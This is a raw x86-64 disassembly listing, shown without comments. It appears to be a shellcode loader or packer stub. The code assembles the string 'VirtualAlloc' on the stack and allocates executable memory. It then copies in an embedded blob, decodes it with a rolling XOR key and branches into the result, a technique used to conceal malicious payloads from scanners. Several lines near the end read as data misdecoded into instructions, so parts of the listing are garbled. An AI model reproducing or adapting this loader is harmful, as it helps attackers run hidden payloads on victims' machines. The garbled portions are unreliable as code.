mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14006fdcd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140074284
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x1400742dd
je 0x1400742e3
call 0x1400742d4
fild qword [rdi - 0x7c]
jmp 0x174fb0a56
jne 0x1400742a6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140074266
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret